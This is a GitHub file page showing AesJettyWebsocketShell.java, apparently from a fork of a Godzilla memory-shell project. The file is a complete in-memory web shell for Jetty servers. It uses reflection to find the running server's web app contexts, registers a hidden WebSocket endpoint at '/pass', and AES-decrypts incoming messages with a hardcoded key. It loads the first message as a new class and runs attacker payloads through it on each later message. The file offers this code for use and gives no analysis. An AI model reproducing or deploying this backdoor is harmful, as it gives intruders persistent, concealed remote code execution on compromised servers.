forked from BeichenDream/GodzillaMemoryShellProject
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAesJettyWebsocketShell.java
More file actions
295 lines (256 loc) · 10.6 KB
/
Copy pathAesJettyWebsocketShell.java
File metadata and controls
295 lines (256 loc) · 10.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
import javax.servlet.ServletContext;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpointConfig;
import javax.websocket.server.ServerContainer;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
//jetty9-10.11 test
public class AesJettyWebsocketShell extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
private static boolean initialized = false;
private static final Object lock = new Object();
private Class payload = null;
private Session session = null;
private String xc = "3c6e0b8a9c15224a";
private String pass = "pass";
static {
new AesJettyWebsocketShell();
}
public AesJettyWebsocketShell() {
synchronized (lock) {
if (!initialized) {
initialized = true;
try {
addEndpoint(this);
} catch (Throwable ignored) {
}
}
}
}
public AesJettyWebsocketShell(Session session) {
this.session = session;
}
private static Object[] getServers() throws Throwable {
HashSet contexts = new HashSet();
HashSet blackType = new HashSet();
blackType.add(int.class.getName());
blackType.add(short.class.getName());
blackType.add(long.class.getName());
blackType.add(double.class.getName());
blackType.add(byte.class.getName());
blackType.add(float.class.getName());
blackType.add(char.class.getName());
blackType.add(boolean.class.getName());
blackType.add(Integer.class.getName());
blackType.add(Short.class.getName());
blackType.add(Long.class.getName());
blackType.add(Double.class.getName());
blackType.add(Byte.class.getName());
blackType.add(Float.class.getName());
blackType.add(Character.class.getName());
blackType.add(Boolean.class.getName());
blackType.add(String.class.getName());
Object jettyServer = searchObject("org.eclipse.jetty.server.Server", Thread.currentThread(), new HashSet(), blackType, 20, 0);
if (jettyServer != null) {
try {
Object serverHandle = getFieldValue(jettyServer, "_handler");
Object handles = serverHandle.getClass().getMethod("getChildHandlers").invoke(serverHandle);
if (handles.getClass().isArray()) {
int handleSize = Array.getLength(handles);
for (int i = 0; i < handleSize; i++) {
Object handle = Array.get(handles, i);
if (handle != null && "org.eclipse.jetty.webapp.WebAppContext".equals(handle.getClass().getName())) {
contexts.add(handle);
}
}
}
} catch (Throwable e) {
}
}
return contexts.toArray();
}
private static Object searchObject(String targetClassName, Object object, HashSet blacklist, HashSet blackType, int maxDepth, int currentDepth) throws Throwable {
currentDepth++;
if (currentDepth >= maxDepth) {
return null;
}
if (object != null) {
if (targetClassName.equals(object.getClass().getName())) {
return object;
}
Integer hash = System.identityHashCode(object);
if (!blacklist.contains(hash)) {
blacklist.add(new Integer(hash));
Field[] fields = null;
ArrayList fieldsArray = new ArrayList();
Class objClass = object.getClass();
while (objClass != null) {
Field[] fields1 = objClass.getDeclaredFields();
fieldsArray.addAll(Arrays.asList(fields1));
objClass = objClass.getSuperclass();
}
fields = (Field[]) fieldsArray.toArray(new Field[0]);
for (int i = 0; i < fields.length; i++) {
Field field = fields[i];
try {
field.setAccessible(true);
Class fieldType = field.getType();
if (!blackType.contains(fieldType.getName())) {
Object fieldValue = field.get(object);
if (fieldValue != null) {
Object ret = null;
if (fieldType.isArray()) {
if (!blackType.contains(fieldType.getComponentType().getName())) {
int arraySize = Array.getLength(fieldValue);
for (int j = 0; j < arraySize; j++) {
ret = searchObject(targetClassName, Array.get(fieldValue, j), blacklist, blackType, maxDepth, currentDepth);
if (ret != null) {
break;
}
}
}
} else {
ret = searchObject(targetClassName, fieldValue, blacklist, blackType, maxDepth, currentDepth);
}
if (ret != null) {
return ret;
}
}
}
} catch (Throwable e) {
}
}
}
}
return null;
}
private static boolean canAdd(Object obj, String path) {
try {
java.lang.reflect.Method method = obj.getClass().getMethod("findMapping", new Class[]{String.class});
if (method.invoke(obj, new Object[]{path}) != null) {
return false;
}
} catch (Throwable t) {
}
return true;
}
private boolean addEndpoint(Endpoint endpoint) throws Throwable {
Object[] servers = getServers();
boolean isOk = false;
try {
for (int i = 0; i < servers.length; i++) {
Object server = servers[i];
try {
ServletContext servletContext = (ServletContext) server.getClass().getMethod("getServletContext").invoke(server);
int maxBinaryMessageBufferSize = 10485760;
String websocketPath = String.format("/%s", pass);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(endpoint.getClass(), websocketPath).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
if (canAdd(container, websocketPath)) {
if (container.getDefaultMaxBinaryMessageBufferSize() < maxBinaryMessageBufferSize) {
container.setDefaultMaxBinaryMessageBufferSize(maxBinaryMessageBufferSize);
}
container.addEndpoint(configEndpoint);
isOk = true;
}
} catch (Throwable e) {
}
} catch (Throwable e) {
}
}
} catch (Throwable e) {
}
return isOk;
}
private static Field getField(Object obj, String fieldName) {
Class clazz = null;
if (obj == null) {
return null;
}
if (obj instanceof Class) {
clazz = (Class) obj;
} else {
clazz = obj.getClass();
}
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
clazz = null;
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
if (field != null) {
field.setAccessible(true);
}
return field;
}
private static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field) obj;
} else {
f = getField(obj, fieldName);
}
if (f != null) {
return f.get(obj);
}
return null;
}
private byte[] aes(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public void onOpen(Session session, EndpointConfig endpointConfig) {
session.addMessageHandler(new AesJettyWebsocketShell(session));
}
private Class defClass(byte[] classBytes) throws Throwable {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], AesJettyWebsocketShell.class.getClassLoader());
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
return (Class) defineClassMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
public void onMessage(ByteBuffer byteBuffer) {
try {
int limit = byteBuffer.limit();
byte[] data = new byte[limit];
byteBuffer.get(data, 0, limit);
data = aes(data, false);
byte[] response = new byte[0];
if (payload == null) {
payload = defClass(data);
} else {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Object obj = payload.newInstance();
obj.equals(data);
obj.equals(bos);
obj.toString();
response = bos.toByteArray();
}
session.getBasicRemote().sendBinary(ByteBuffer.wrap(aes(response, true)));
} catch (Throwable e) {
try {
session.close();
} catch (IOException ex) {
}
}
}
}